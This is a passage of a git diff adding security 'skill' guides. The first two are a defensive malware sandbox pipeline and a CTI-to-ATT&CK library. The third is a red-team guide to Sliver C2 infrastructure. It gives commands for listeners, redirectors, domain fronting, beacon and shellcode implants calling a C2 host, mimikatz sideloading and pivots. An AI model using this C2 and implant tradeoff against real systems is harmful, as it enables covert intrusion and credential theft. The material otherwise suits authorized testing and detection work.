mapped_behaviors: + tech_id = mapping["technique_id"] + if tech_id not in seen_techniques: + self.add_pattern_from_mapping(mapping, report_source) + seen_techniques.add(tech_id) + + bundle = Bundle(objects=self.patterns + self.relationships) + print(f"[+] Library: {len(self.patterns)} attack patterns") + return bundle + + def export_library(self, output_file="attack_pattern_library.json"): + bundle = Bundle(objects=self.patterns + self.relationships) + with open(output_file, "w") as f: + f.write(bundle.serialize(pretty=True)) + print(f"[+] Library exported to {output_file}") + + def generate_detection_templates(self, mapped_behaviors): + """Generate Sigma rule templates from attack patterns.""" + templates = [] + for mapping in mapped_behaviors: + template = { + "title": f"Detection: {mapping['technique_name']} ({mapping['technique_id']})", + "status": "experimental", + "description": f"Detects {mapping['technique_name']} based on CTI report observation", + "references": [ + f"https://attack.mitre.org/techniques/{mapping['technique_id'].replace('.', '/')}/", + ], + "tags": [ + f"attack.{mapping['tactics'][0]}" if mapping['tactics'] else "attack.unknown", + f"attack.{mapping['technique_id'].lower()}", + ], + "data_sources": mapping.get("data_sources", []), + "observed_tools": mapping.get("tools_observed", []), + "source_context": mapping["source_sentence"], + } + templates.append(template) + + with open("detection_templates.json", "w") as f: + json.dump(templates, f, indent=2) + print(f"[+] Generated {len(templates)} detection templates") + return templates + +library = AttackPatternLibrary() +bundle = library.build_library(mapped_behaviors, "Sample CTI Report") +library.export_library() +templates = library.generate_detection_templates(mapped_behaviors) +``` + +## Validation Criteria + +- CTI report parsed and behavioral indicators extracted +- Behaviors mapped to ATT&CK techniques with confidence +- STIX 2.1 Attack Pattern objects created with proper references +- Library searchable by tactic, technique, and threat actor +- Detection templates generated from documented patterns +- Library exportable as STIX bundle for sharing + +## References + +- [MITRE ATT&CK](https://attack.mitre.org/) +- [STIX 2.1 Attack Pattern SDO](https://docs.oasis-open.org/cti/stix/v2.1/os/stix-v2.1-os.html#_axjijf603msy) +- [CISA: Best Practices for ATT&CK Mapping](https://www.cisa.gov/sites/default/files/2023-01/Best%20Practices%20for%20MITRE%20ATTCK%20Mapping.pdf) +- [attackcti Python Library](https://github.com/OTRF/ATTACK-Python-Client) +- [Sigma Rules Project](https://github.com/SigmaHQ/sigma) +- [MITRE ATT&CK STIX Data](https://github.com/mitre/cti) diff --git a/skills/building-automated-malware-submission-pipeline/SKILL.md b/skills/building-automated-malware-submission-pipeline/SKILL.md new file mode 100644 index 00000000..41508774 --- /dev/null +++ b/skills/building-automated-malware-submission-pipeline/SKILL.md @@ -0,0 +1,486 @@ +--- +name: building-automated-malware-submission-pipeline +description: > + Builds an automated malware submission and analysis pipeline that collects suspicious files from + endpoints and email gateways, submits them to sandbox environments and multi-engine scanners, + and generates verdicts with IOCs for SIEM integration. Use when SOC teams need to scale malware + analysis beyond manual sandbox submissions for high-volume alert triage. +domain: cybersecurity +subdomain: soc-operations +tags: [soc, malware-analysis, sandbox, automation, virustotal, cuckoo, any-run, pipeline] +version: "1.0" +author: mahipal +license: MIT +--- +# Building Automated Malware Submission Pipeline + +## When to Use + +Use this skill when: +- SOC teams face high volume of suspicious file alerts requiring sandbox analysis +- Manual sandbox submission creates bottlenecks in alert triage workflow +- Endpoint and email security tools quarantine files needing automated verdict determination +- Incident response requires rapid malware family identification and IOC extraction + +**Do not use** for analyzing live malware samples in production environments — always use isolated sandbox infrastructure. + +## Prerequisites + +- Sandbox environment: Cuckoo Sandbox, Joe Sandbox, Any.Run, or VMRay +- VirusTotal API key (Enterprise for submission, free for lookup) +- MalwareBazaar API access for known malware lookup +- File collection mechanism: EDR quarantine API, email gateway export, network capture +- Python 3.8+ with `requests`, `vt-py`, `pefile` libraries +- Isolated analysis network with no production connectivity + +## Workflow + +### Step 1: Build File Collection Pipeline + +Collect suspicious files from multiple sources: + +```python +import requests +import hashlib +import os +from pathlib import Path +from datetime import datetime + +class MalwareCollector: + def __init__(self, quarantine_dir="/opt/malware_quarantine"): + self.quarantine_dir = Path(quarantine_dir) + self.quarantine_dir.mkdir(exist_ok=True) + + def collect_from_edr(self, edr_api_url, api_token): + """Pull quarantined files from CrowdStrike Falcon""" + headers = {"Authorization": f"Bearer {api_token}"} + + # Get recent quarantine events + response = requests.get( + f"{edr_api_url}/quarantine/queries/quarantined-files/v1", + headers=headers, + params={"filter": "state:'quarantined'", "limit": 50} + ) + file_ids = response.json()["resources"] + + for file_id in file_ids: + # Download quarantined file + dl_response = requests.get( + f"{edr_api_url}/quarantine/entities/quarantined-files/v1", + headers=headers, + params={"ids": file_id} + ) + file_data = dl_response.content + sha256 = hashlib.sha256(file_data).hexdigest() + + filepath = self.quarantine_dir / f"{sha256}.sample" + filepath.write_bytes(file_data) + yield {"sha256": sha256, "path": str(filepath), "source": "edr"} + + def collect_from_email_gateway(self, smtp_quarantine_path): + """Pull attachments from email gateway quarantine""" + import email + from email import policy + + for eml_file in Path(smtp_quarantine_path).glob("*.eml"): + msg = email.message_from_binary_file( + eml_file.open("rb"), policy=policy.default + ) + for attachment in msg.iter_attachments(): + content = attachment.get_content() + if isinstance(content, str): + content = content.encode() + sha256 = hashlib.sha256(content).hexdigest() + filename = attachment.get_filename() or "unknown" + + filepath = self.quarantine_dir / f"{sha256}.sample" + filepath.write_bytes(content) + yield { + "sha256": sha256, + "path": str(filepath), + "source": "email", + "original_filename": filename, + "sender": msg["From"], + "subject": msg["Subject"] + } + + def compute_hashes(self, filepath): + """Calculate MD5, SHA1, SHA256 for a file""" + with open(filepath, "rb") as f: + content = f.read() + return { + "md5": hashlib.md5(content).hexdigest(), + "sha1": hashlib.sha1(content).hexdigest(), + "sha256": hashlib.sha256(content).hexdigest(), + "size": len(content) + } +``` + +### Step 2: Pre-Screen with Hash Lookups + +Check if the file is already known before sandbox submission: + +```python +import vt + +class MalwarePreScreener: + def __init__(self, vt_api_key, mb_api_url="https://mb-api.abuse.ch/api/v1/"): + self.vt_client = vt.Client(vt_api_key) + self.mb_api_url = mb_api_url + + def check_virustotal(self, sha256): + """Lookup hash in VirusTotal""" + try: + file_obj = self.vt_client.get_object(f"/files/{sha256}") + stats = file_obj.last_analysis_stats + return { + "found": True, + "malicious": stats.get("malicious", 0), + "suspicious": stats.get("suspicious", 0), + "undetected": stats.get("undetected", 0), + "total": sum(stats.values()), + "threat_label": getattr(file_obj, "popular_threat_classification", {}).get( + "suggested_threat_label", "Unknown" + ), + "type": getattr(file_obj, "type_description", "Unknown") + } + except vt.APIError: + return {"found": False} + + def check_malwarebazaar(self, sha256): + """Lookup hash in MalwareBazaar""" + response = requests.post( + self.mb_api_url, + data={"query": "get_info", "hash": sha256} + ) + data = response.json() + if data["query_status"] == "ok": + entry = data["data"][0] + return { + "found": True, + "signature": entry.get("signature", "Unknown"), + "tags": entry.get("tags", []), + "file_type": entry.get("file_type", "Unknown"), + "first_seen": entry.get("first_seen", "Unknown") + } + return {"found": False} + + def pre_screen(self, sha256): + """Run all pre-screening checks""" + vt_result = self.check_virustotal(sha256) + mb_result = self.check_malwarebazaar(sha256) + + verdict = "UNKNOWN" + if vt_result["found"] and vt_result.get("malicious", 0) > 10: + verdict = "KNOWN_MALICIOUS" + elif vt_result["found"] and vt_result.get("malicious", 0) == 0: + verdict = "LIKELY_CLEAN" + + return { + "sha256": sha256, + "virustotal": vt_result, + "malwarebazaar": mb_result, + "pre_screen_verdict": verdict, + "needs_sandbox": verdict == "UNKNOWN" + } + + def close(self): + self.vt_client.close() +``` + +### Step 3: Submit to Sandbox for Dynamic Analysis + +**Cuckoo Sandbox Submission:** + +```python +class SandboxSubmitter: + def __init__(self, cuckoo_url="http://cuckoo.internal:8090"): + self.cuckoo_url = cuckoo_url + + def submit_to_cuckoo(self, filepath, timeout=300): + """Submit file to Cuckoo Sandbox""" + with open(filepath, "rb") as f: + response = requests.post( + f"{self.cuckoo_url}/tasks/create/file", + files={"file": f}, + data={ + "timeout": timeout, + "options": "procmemdump=yes,route=none", + "priority": 2, + "machine": "win10_x64" + } + ) + task_id = response.json()["task_id"] + return task_id + + def wait_for_analysis(self, task_id, poll_interval=30, max_wait=600): + """Wait for sandbox analysis to complete""" + import time + elapsed = 0 + while elapsed < max_wait: + response = requests.get(f"{self.cuckoo_url}/tasks/view/{task_id}") + status = response.json()["task"]["status"] + if status == "reported": + return self.get_report(task_id) + elif status == "failed_analysis": + return {"error": "Analysis failed"} + time.sleep(poll_interval) + elapsed += poll_interval + return {"error": "Analysis timed out"} + + def get_report(self, task_id): + """Retrieve analysis report""" + response = requests.get(f"{self.cuckoo_url}/tasks/report/{task_id}") + report = response.json() + + # Extract key indicators + return { + "task_id": task_id, + "score": report.get("info", {}).get("score", 0), + "signatures": [ + {"name": s["name"], "severity": s["severity"], "description": s["description"]} + for s in report.get("signatures", []) + ], + "network": { + "dns": [d["request"] for d in report.get("network", {}).get("dns", [])], + "http": [ + {"url": h["uri"], "method": h["method"]} + for h in report.get("network", {}).get("http", []) + ], + "hosts": report.get("network", {}).get("hosts", []) + }, + "dropped_files": [ + {"name": f["name"], "sha256": f["sha256"], "size": f["size"]} + for f in report.get("dropped", []) + ], + "processes": [ + {"name": p["process_name"], "pid": p["pid"], "command_line": p.get("command_line", "")} + for p in report.get("behavior", {}).get("processes", []) + ], + "registry_keys": [ + k for k in report.get("behavior", {}).get("summary", {}).get("regkey_written", []) + ] + } + + def submit_to_joesandbox(self, filepath, joe_api_key, joe_url="https://jbxcloud.joesecurity.org/api"): + """Submit to Joe Sandbox Cloud""" + with open(filepath, "rb") as f: + response = requests.post( + f"{joe_url}/v2/submission/new", + headers={"Authorization": f"Bearer {joe_api_key}"}, + files={"sample": f}, + data={ + "systems": "w10_64", + "internet-access": False, + "report-cache": True + } + ) + return response.json()["data"]["webid"] +``` + +### Step 4: Extract IOCs and Generate Verdict + +```python +class VerdictGenerator: + def __init__(self): + self.malicious_threshold = 7 # Cuckoo score threshold + + def generate_verdict(self, pre_screen, sandbox_report): + """Combine pre-screening and sandbox results for final verdict""" + iocs = { + "ips": [], + "domains": [], + "urls": [], + "hashes": [], + "registry_keys": [], + "files_dropped": [] + } + + # Extract IOCs from sandbox report + if sandbox_report: + iocs["domains"] = sandbox_report.get("network", {}).get("dns", []) + iocs["ips"] = sandbox_report.get("network", {}).get("hosts", []) + iocs["urls"] = [ + h["url"] for h in sandbox_report.get("network", {}).get("http", []) + ] + iocs["hashes"] = [ + f["sha256"] for f in sandbox_report.get("dropped_files", []) + ] + iocs["registry_keys"] = sandbox_report.get("registry_keys", [])[:10] + iocs["files_dropped"] = sandbox_report.get("dropped_files", []) + + # Determine verdict + vt_malicious = pre_screen.get("virustotal", {}).get("malicious", 0) + sandbox_score = sandbox_report.get("score", 0) if sandbox_report else 0 + sig_count = len(sandbox_report.get("signatures", [])) if sandbox_report else 0 + + combined_score = (vt_malicious * 2) + (sandbox_score * 10) + (sig_count * 5) + + if combined_score >= 100: + verdict = "MALICIOUS" + confidence = "HIGH" + elif combined_score >= 50: + verdict = "SUSPICIOUS" + confidence = "MEDIUM" + elif combined_score >= 20: + verdict = "POTENTIALLY_UNWANTED" + confidence = "LOW" + else: + verdict = "CLEAN" + confidence = "HIGH" + + return { + "verdict": verdict, + "confidence": confidence, + "combined_score": combined_score, + "iocs": iocs, + "vt_detections": vt_malicious, + "sandbox_score": sandbox_score, + "signatures": sandbox_report.get("signatures", []) if sandbox_report else [] + } +``` + +### Step 5: Push Results to SIEM + +```python +def push_to_splunk(verdict_result, splunk_url, splunk_token): + """Send malware analysis verdict to Splunk HEC""" + import json + + event = { + "sourcetype": "malware_analysis", + "source": "malware_pipeline", + "event": { + "sha256": verdict_result["sha256"], + "verdict": verdict_result["verdict"], + "confidence": verdict_result["confidence"], + "score": verdict_result["combined_score"], + "vt_detections": verdict_result["vt_detections"], + "sandbox_score": verdict_result["sandbox_score"], + "malware_family": verdict_result.get("threat_label", "Unknown"), + "iocs": verdict_result["iocs"], + "signatures": [s["name"] for s in verdict_result["signatures"]] + } + } + + response = requests.post( + f"{splunk_url}/services/collector/event", + headers={ + "Authorization": f"Splunk {splunk_token}", + "Content-Type": "application/json" + }, + json=event, + verify=False + ) + return response.status_code == 200 + +def push_iocs_to_blocklist(iocs, firewall_api): + """Push extracted IOCs to blocking infrastructure""" + for ip in iocs.get("ips", []): + requests.post( + f"{firewall_api}/block", + json={"type": "ip", "value": ip, "action": "block", "source": "malware_pipeline"} + ) + for domain in iocs.get("domains", []): + requests.post( + f"{firewall_api}/block", + json={"type": "domain", "value": domain, "action": "sinkhole", "source": "malware_pipeline"} + ) +``` + +### Step 6: Orchestrate the Full Pipeline + +```python +def run_malware_pipeline(sample_path, config): + """Execute full malware analysis pipeline""" + collector = MalwareCollector() + screener = MalwarePreScreener(config["vt_key"]) + submitter = SandboxSubmitter(config["cuckoo_url"]) + generator = VerdictGenerator() + + # Step 1: Hash and pre-screen + hashes = collector.compute_hashes(sample_path) + pre_screen = screener.pre_screen(hashes["sha256"]) + + # Step 2: Submit to sandbox if unknown + sandbox_report = None + if pre_screen["needs_sandbox"]: + task_id = submitter.submit_to_cuckoo(sample_path) + sandbox_report = submitter.wait_for_analysis(task_id) + + # Step 3: Generate verdict + verdict = generator.generate_verdict(pre_screen, sandbox_report) + verdict["sha256"] = hashes["sha256"] + verdict["threat_label"] = pre_screen.get("virustotal", {}).get("threat_label", "Unknown") + + # Step 4: Push to SIEM + push_to_splunk(verdict, config["splunk_url"], config["splunk_token"]) + + # Step 5: Block if malicious + if verdict["verdict"] == "MALICIOUS": + push_iocs_to_blocklist(verdict["iocs"], config["firewall_api"]) + + screener.close() + return verdict +``` + +## Key Concepts + +| Term | Definition | +|------|-----------| +| **Dynamic Analysis** | Executing malware in a sandbox to observe runtime behavior (process creation, network, file system changes) | +| **Static Analysis** | Examining malware without execution (hash lookup, string analysis, PE header inspection) | +| **Sandbox Evasion** | Techniques malware uses to detect sandbox environments and alter behavior to avoid analysis | +| **IOC Extraction** | Automated process of identifying network indicators, file artifacts, and registry changes from sandbox reports | +| **Multi-AV Scanning** | Submitting samples to multiple antivirus engines (VirusTotal) for consensus-based detection | +| **Verdict** | Final classification of a sample: Malicious, Suspicious, Potentially Unwanted, or Clean | + +## Tools & Systems + +- **Cuckoo Sandbox**: Open-source automated malware analysis platform with behavioral analysis and network capture +- **Joe Sandbox**: Commercial sandbox with deep behavioral analysis, YARA matching, and MITRE ATT&CK mapping +- **Any.Run**: Interactive sandbox service allowing real-time manipulation during analysis for debugging evasive malware +- **VirusTotal**: Multi-engine scanning service providing 70+ AV results and behavioral analysis reports +- **CAPE Sandbox**: Community-maintained Cuckoo fork with enhanced payload extraction and configuration dumping + +## Common Scenarios + +- **Email Attachment Triage**: Auto-submit quarantined email attachments, generate verdict in <5 minutes +- **EDR Quarantine Processing**: Batch-process files quarantined by endpoint security for detailed analysis +- **Incident Investigation**: Submit suspicious binaries found during IR for malware family identification and IOC extraction +- **Threat Intel Enrichment**: Analyze samples from threat feeds to extract C2 infrastructure and update blocking +- **Zero-Day Detection**: Sandbox catches novel malware missed by signature-based AV through behavioral analysis + +## Output Format + +``` +MALWARE ANALYSIS REPORT — Pipeline Submission +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +Sample: invoice_march.docx +SHA256: a1b2c3d4e5f6a7b8... +File Type: Microsoft Word Document (macro-enabled) + +Pre-Screening: + VirusTotal: 34/72 malicious (Emotet.Downloader) + MalwareBazaar: Tags: emotet, macro, downloader + +Sandbox Analysis (Cuckoo): + Score: 9.2/10 (MALICIOUS) + Signatures: + - Macro executes PowerShell download cradle (severity: 8) + - Process injection into explorer.exe (severity: 9) + - Connects to known Emotet C2 server (severity: 9) + +Extracted IOCs: + C2 IPs: 185.234.218[.]50:8080, 45.77.123[.]45:443 + Domains: update-service[.]evil[.]com + Dropped Files: payload.dll (SHA256: b2c3d4e5...) + Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Update + +VERDICT: MALICIOUS (Emotet Downloader) — Confidence: HIGH +ACTIONS: + [DONE] IOCs pushed to Splunk threat intel + [DONE] C2 IPs blocked on firewall + [DONE] Domain sinkholed on DNS + [DONE] Hash blocked on endpoint +``` diff --git a/skills/building-c2-infrastructure-with-sliver-framework/SKILL.md b/skills/building-c2-infrastructure-with-sliver-framework/SKILL.md new file mode 100644 index 00000000..de8917a6 --- /dev/null +++ b/skills/building-c2-infrastructure-with-sliver-framework/SKILL.md @@ -0,0 +1,173 @@ +--- +name: building-c2-infrastructure-with-sliver-framework +description: Build and configure a resilient command-and-control infrastructure using BishopFox's Sliver C2 framework with redirectors, HTTPS listeners, and multi-operator support for authorized red team engagements. +domain: cybersecurity +subdomain: red-teaming +tags: [red-team, c2-framework, sliver, command-and-control, adversary-simulation, infrastructure, post-exploitation] +version: "1.0" +author: mahipal +license: MIT +--- +# Building C2 Infrastructure with Sliver Framework + +## Overview + +Sliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP/S, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection. + +## Objectives + +- Deploy a Sliver team server on hardened cloud infrastructure +- Configure HTTPS, mTLS, DNS, and WireGuard listeners +- Generate implants (beacons and sessions) for target platforms +- Set up NGINX or Apache redirectors between implants and the team server +- Implement Cloudflare or CDN-based domain fronting for traffic obfuscation +- Configure multi-operator access with certificate-based authentication +- Establish operational security controls for C2 communications + +## MITRE ATT&CK Mapping + +- **T1071.001** - Application Layer Protocol: Web Protocols +- **T1071.004** - Application Layer Protocol: DNS +- **T1573.002** - Encrypted Channel: Asymmetric Cryptography +- **T1090.002** - Proxy: External Proxy (Redirectors) +- **T1105** - Ingress Tool Transfer +- **T1132.001** - Data Encoding: Standard Encoding +- **T1572** - Protocol Tunneling + +## Implementation Steps + +### Phase 1: Team Server Deployment +1. Provision a VPS (e.g., DigitalOcean, Linode, AWS EC2) for the team server +2. Harden the OS: disable SSH password auth, configure UFW/iptables, install fail2ban +3. Install Sliver using the official install script: + ```bash + curl https://sliver.sh/install | sudo bash + ``` +4. Start the Sliver server daemon: + ```bash + systemctl start sliver + # Or run interactively + sliver-server + ``` +5. Generate operator configuration files for team members: + ```bash + new-operator --name operator1 --lhost + ``` + +### Phase 2: Listener Configuration +1. Configure an HTTPS listener with a legitimate SSL certificate: + ```bash + https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem + ``` +2. Configure a DNS listener for fallback C2: + ```bash + dns --domains c2dns.example.com --lport 53 + ``` +3. Configure mTLS listener for high-security sessions: + ```bash + mtls --lhost 0.0.0.0 --lport 8888 + ``` +4. Configure WireGuard listener for tunneled access: + ```bash + wg --lport 51820 + ``` + +### Phase 3: Redirector Setup +1. Deploy a separate VPS as a redirector (positioned between targets and team server) +2. Install and configure NGINX as a reverse proxy: + ```nginx + server { + listen 443 ssl; + server_name c2.example.com; + ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem; + + location / { + proxy_pass https://:443; + proxy_ssl_verify off; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + } + } + ``` +3. Configure iptables rules on the team server to only accept connections from the redirector: + ```bash + iptables -A INPUT -p tcp --dport 443 -s -j ACCEPT + iptables -A INPUT -p tcp --dport 443 -j DROP + ``` +4. Optionally set up Cloudflare as a CDN layer in front of the redirector for domain fronting + +### Phase 4: Implant Generation +1. Generate an HTTPS beacon implant: + ```bash + generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload + ``` +2. Generate a DNS beacon for restricted networks: + ```bash + generate beacon --dns c2dns.example.com --os windows --arch amd64 + ``` +3. Generate a shellcode payload for injection: + ```bash + generate --http https://c2.example.com --os windows --arch amd64 --format shellcode + ``` +4. Configure beacon jitter and callback intervals: + ```bash + generate beacon --http https://c2.example.com --seconds 60 --jitter 30 + ``` + +### Phase 5: Post-Exploitation Operations +1. Interact with active beacons/sessions: + ```bash + beacons # List active beacons + use # Interact with a beacon + ``` +2. Execute post-exploitation modules: + ```bash + ps # Process listing + netstat # Network connections + execute-assembly /path/to/Seatbelt.exe -group=all # Run .NET assemblies + sideload /path/to/mimikatz.dll # Load DLLs + ``` +3. Set up pivots for internal network access: + ```bash + pivots tcp --bind 0.0.0.0:9898 # Create pivot listener on compromised host + ``` +4. Use BOF (Beacon Object Files) for in-memory execution: + ```bash + armory install sa-ldapsearch # Install from armory + sa-ldapsearch -- "(objectClass=user)" # Execute BOF + ``` + +## Tools and Resources + +| Tool | Purpose | Platform | +|------|---------|----------| +| Sliver Server | C2 team server and implant management | Linux/macOS/Windows | +| Sliver Client | Operator console for team members | Cross-platform | +| NGINX | Redirector and reverse proxy | Linux | +| Certbot | Let's Encrypt SSL certificate generation | Linux | +| Cloudflare | CDN and domain fronting | Cloud | +| Armory | Sliver extension/BOF package manager | Built-in | + +## Detection Signatures + +| Indicator | Detection Method | +|-----------|-----------------| +| Default Sliver HTTP headers | Network traffic analysis for unusual User-Agent strings | +| mTLS on non-standard ports | Firewall logs for outbound connections to unusual ports | +| DNS TXT record queries with high entropy | DNS log analysis for encoded C2 traffic | +| WireGuard UDP traffic on port 51820 | Network flow analysis for WireGuard handshake patterns | +| Sliver implant file hashes | EDR/AV signature matching against known Sliver samples | + +## Validation Criteria + +- [ ] Team server deployed and hardened with firewall rules +- [ ] HTTPS listener configured with valid SSL certificate +- [ ] DNS listener configured as fallback C2 channel +- [ ] At least one redirector deployed between targets and team server +- [ ] Multi-operator access configured with unique certificates +- [ ] Implants generated for target operating systems +- [ ] Beacon callback intervals and jitter configured for stealth +- [ ] Post-exploitation modules tested (process listing, .NET assembly execution) +- [ ] Pivot functionality validated for internal network access +- [ ] All C2 traffic encrypted and passing through redirectors diff --git a/skills/building-c2-infrastructure-with-sliver-framework/assets/template.md b/skills/building-c2-infrastructure-with-sliver-framework/assets/template.md new file mode 100644 index 00000000..4ccee32f --- /dev/null +++ b/skills/building-c2-infrastructure-with-sliver-framework/assets/template.md @@ -0,0 +1,69 @@ +# Sliver C2 Infrastructure Configuration Template + +## Engagement Information + +| Field | Value | +|-------|-------| +| Engagement Name | | +| Client | | +| Start Date | | +| End Date | | +| Authorization Document | | + +## Team Server Configuration + +| Parameter | Value | +|-----------|-------| +| Server IP | | +| Server OS | Ubuntu 22.04 LTS | +| Sliver Version | | +| Firewall Rules Applied | Yes / No | +| SSH Key-Only Auth | Yes / No | + +## Listener Configuration + +| Listener Type | Port | Domain/Host | Certificate | Status | +|--------------|------|-------------|-------------|--------| +| HTTPS | 443 | | Let's Encrypt / Custom | | +| mTLS | 8888 | | Auto-generated | | +| DNS | 53 | | N/A | | +| WireGuard | 51820 | | Auto-generated | | + +## Redirector Configuration + +| Redirector ID | IP Address | Cloud Provider | Proxy Software | Team Server Dest | +|--------------|------------|----------------|----------------|------------------| +| REDIR-01 | | | NGINX | | +| REDIR-02 | | | Apache | | + +## Operator Access + +| Operator Name | Config File | Role | Access Granted | +|--------------|-------------|------|----------------| +| | | Lead | | +| | | Operator | | + +## Domain Configuration + +| Domain | Registrar | Category | Purpose | +|--------|-----------|----------|---------| +| | | Uncategorized | HTTPS C2 | +| | | Uncategorized | DNS C2 | + +## Implant Inventory + +| Implant Name | Type | OS | Arch | Protocol | Callback Interval | Jitter | +|-------------|------|-----|------|----------|-------------------|--------| +| | Beacon | Windows | amd64 | HTTPS | 60s | 30% | +| | Session | Linux | amd64 | mTLS | N/A | N/A | + +## OPSEC Checklist + +- [ ] Team server IP not directly exposed to target network +- [ ] All C2 traffic routed through redirectors +- [ ] SSL certificates use categorized/aged domains +- [ ] DNS C2 domain registered with privacy protection +- [ ] Beacon intervals randomized with jitter +- [ ] Implant names do not reveal engagement details +- [ ] Operator configs distributed via secure channel +- [ ] Kill date configured on all implants diff --git a/skills/building-c2-infrastructure-with-sliver-framework/references/standards.md b/skills/building-c2-infrastructure-with-sliver-framework/references/standards.md new file mode 100644 index 00000000..b61284be --- /dev/null +++ b/skills/building-c2-infrastructure-with-sliver-framework/references/standards.md @@ -0,0 +1,32 @@ +# Standards and References - Sliver C2 Infrastructure + +## MITRE ATT&CK References + +| Technique ID | Name | Tactic | +|-------------|------|--------| +| T1071.001 | Application Layer Protocol: Web Protocols | Command and Control | +| T1071.004 | Application Layer Protocol: DNS | Command and Control | +| T1573.002 | Encrypted Channel: Asymmetric Cryptography | Command and Control | +| T1090.002 | Proxy: External Proxy | Command and Control | +| T1105 | Ingress Tool Transfer | Command and Control | +| T1132.001 | Data Encoding: Standard Encoding | Command and Control | +| T1572 | Protocol Tunneling | Command and Control | + +## Industry Standards + +- **PTES (Penetration Testing Execution Standard)** - Post-Exploitation and C2 sections +- **OWASP Testing Guide** - Infrastructure testing methodology +- **NIST SP 800-115** - Technical Guide to Information Security Testing and Assessment +- **TIBER-EU** - Threat Intelligence-Based Ethical Red Teaming framework + +## Official Documentation + +- Sliver GitHub: https://github.com/BishopFox/sliver +- Sliver Wiki: https://github.com/BishopFox/sliver/wiki +- Sliver Armory: https://github.com/sliverarmory + +## Key Research + +- BishopFox Red Team Tools and C2 Frameworks Report (2025) +- SpecterOps Adversary Simulation methodology +- SANS SEC565: Red Team Operations and Adversary Emulation diff --git a/skills/building-c2-infrastructure-with-sliver-framework/references/workflows.md b/skills/building-c2-infrastructure-with-sliver-framework/references/workflows.md new file mode 100644 index 00000000..a3b5bc5e --- /dev/null +++ b/skills/building-c2-infrastructure-with-sliver-framework/references/workflows.md @@ -0,0 +1,72 @@ +# Workflows - Sliver C2 Infrastructure + +## Infrastructure Deployment Workflow + +``` +1. Planning Phase + ├── Define engagement scope and authorized targets + ├── Select cloud providers for team server and redirectors + ├── Register domains for C2 channels (categorized domains preferred) + └── Obtain SSL certificates (Let's Encrypt or purchased) + +2. Team Server Setup + ├── Deploy VPS with hardened OS configuration + ├── Install Sliver server daemon + ├── Configure firewall rules (restrict to redirector IPs only) + └── Generate operator configs for team members + +3. Redirector Layer + ├── Deploy 2+ redirector VPS instances in different regions + ├── Configure NGINX reverse proxy on each redirector + ├── Implement Apache mod_rewrite rules for traffic filtering + └── Optionally add Cloudflare CDN layer + +4. Listener Configuration + ├── HTTPS listener (primary) with valid SSL cert + ├── DNS listener (fallback) for restricted networks + ├── mTLS listener (high-security sessions) + └── WireGuard listener (tunneled access) + +5. Implant Generation + ├── Generate OS-specific beacons (Windows, Linux, macOS) + ├── Configure callback intervals and jitter + ├── Test implant connectivity through redirector chain + └── Validate implant evasion against target AV/EDR + +6. Operational Use + ├── Deploy implant to target via initial access vector + ├── Establish C2 session through redirector infrastructure + ├── Execute post-exploitation tasks + └── Maintain operational security throughout engagement +``` + +## Failover and Resilience Workflow + +``` +Primary C2 Path: + Target → Redirector A → Team Server (HTTPS/443) + +Failover Path 1: + Target → Redirector B → Team Server (HTTPS/8443) + +Failover Path 2: + Target → DNS Resolver → Team Server (DNS/53) + +Emergency Path: + Target → WireGuard Tunnel → Team Server (UDP/51820) +``` + +## Multi-Operator Workflow + +``` +1. Team Lead generates operator configs: + sliver-server > new-operator --name --lhost + +2. Distribute .cfg files securely to each operator + +3. Operators connect using Sliver client: + sliver-client import + +4. All operators share access to beacons and sessions +5. Use naming conventions for implants per operator +``` diff --git a/skills/building-c2-infrastructure-with-sliver-framework/scripts/process.py b/skills/building-c2-infrastructure-with-sliver-framework/scripts/process.py new file mode 100644 index 00000000..239f4a60 --- /dev/null +++ b/skills/building-c2-infrastructure-with-sliver-framework/scripts/process.py @@ -0,0 +1,180 @@ +#!/usr/bin/env python3 +""" +Sliver C2 Infrastructure Health Check and Management Script + +This script provides automated health monitoring for Sliver C2 infrastructure +components including team server, redirectors, and listener status. +Intended for authorized red team engagements only. +""" + +import subprocess +import json +import socket +import ssl +import sys +import os +from datetime import datetime +from pathlib import Path + + +def check_port_open(host: str, port: int, timeout: float = 5.0) -> bool: + """Check if a specific port is open on a host.""" + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + result = sock.connect_ex((host, port)) + sock.close() + return result == 0 + except (socket.error, OSError): + return False + + +def check_ssl_certificate(host: str, port: int = 443) -> dict: + """Check SSL certificate validity on a listener.""" + try: + context = ssl.create_default_context() + context.check_hostname = False + context.verify_mode = ssl.CERT_NONE + with socket.create_connection((host, port), timeout=5) as sock: + with context.wrap_socket(sock, server_hostname=host) as ssock: + cert = ssock.getpeercert(binary_form=False) + return { + "status": "valid", + "subject": str(cert.get("subject", "N/A")) if cert else "No cert data", + "issuer": str(cert.get("issuer", "N/A")) if cert else "No cert data", + "expiry": str(cert.get("notAfter", "N/A")) if cert else "No cert data" + } + except ssl.SSLError as e: + return {"status": "ssl_error", "error": str(e)} + except (socket.error, OSError) as e: + return {"status": "connection_error", "error": str(e)} + + +def check_dns_listener(domain: str, nameserver: str = "8.8.8.8") -> dict: + """Check if DNS C2 domain resolves correctly.""" + try: + result = subprocess.run( + ["nslookup", domain, nameserver], + capture_output=True, text=True, timeout=10 + ) + return { + "status": "active" if result.returncode == 0 else "inactive", + "output": result.stdout.strip()[:500] + } + except (subprocess.TimeoutExpired, FileNotFoundError) as e: + return {"status": "error", "error": str(e)} + + +def check_redirector_health(redirector_ip: str, port: int = 443) -> dict: + """Verify redirector is forwarding traffic correctly.""" + result = { + "ip": redirector_ip, + "port": port, + "port_open": check_port_open(redirector_ip, port), + "ssl": check_ssl_certificate(redirector_ip, port) if port == 443 else "N/A" + } + return result + + +def generate_infrastructure_report(config: 